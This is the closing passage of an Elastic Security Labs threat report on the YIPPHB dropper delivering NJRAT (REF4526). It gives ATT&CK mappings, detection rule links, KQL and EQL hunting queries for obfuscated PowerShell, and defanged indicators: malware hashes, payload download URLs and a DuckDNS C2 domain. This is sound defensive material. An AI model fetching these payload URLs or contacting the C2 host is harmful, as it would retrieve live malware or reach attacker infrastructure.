<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/">Acquire Infrastructure</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/005/">Command and Scripting Interpreter: Visual Basic</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/004/">System Binary Proxy Execution: InstallUtil</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Behavior rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_execution_with_unusual_file_extension.toml">Process Execution with Unusual File Extension</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_script_file_written_to_startup_folder.toml">Script File Written to Startup Folder</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml">Connection to Dynamic DNS Provider by an Unsigned Binary</a></li>
</ul>
<h3>Hunting queries</h3>
<p>Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.</p>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.</p>
<h4>KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.</p>
<p>The proceeding and preceding wildcards ( <strong>*</strong> ) can be an expensive search over a large number of events.</p>
<pre><code>process.pe.original_file_name : &quot;PowerShell.EXE&quot; and process.command_line : (*Unicode.GetString* and *replace*)
</code></pre>
<h4>EQL query</h4>
<p>Using the <a href="https://www.elastic.co/jp/guide/en/security/current/timelines-ui.html#filter-with-eql">Timeline section</a> of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the <strong>replace</strong> function. This identified all observed REF4526 events.</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></li>
<li><a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
<li><a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs</a></li>
<li><a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Reference</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2</td>
<td>SHA-256</td>
<td>dllsica.bin</td>
<td>Initial loader</td>
</tr>
<tr>
<td>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</td>
<td>SHA-256</td>
<td>pesica.bin</td>
<td>YIPPHB downloader</td>
</tr>
<tr>
<td>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</td>
<td>SHA-256</td>
<td>10oct8000</td>
<td>NJRAT implant</td>
</tr>
<tr>
<td><code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code></td>
<td>url</td>
<td>Loader phase</td>
<td>NJRAT download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td>url</td>
<td>Loader phase</td>
<td>REF4526 loader download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/4vfu6wd</code></td>
<td>url</td>
<td>Dropper phase</td>
<td>YIPPHB download location</td>
</tr>
<tr>
<td>wins10ok.duckdns[.]org</td>
<td>domain-name</td>
<td>NJRAT C2</td>
<td>NA</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/time-watch-theme-machines-gears.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>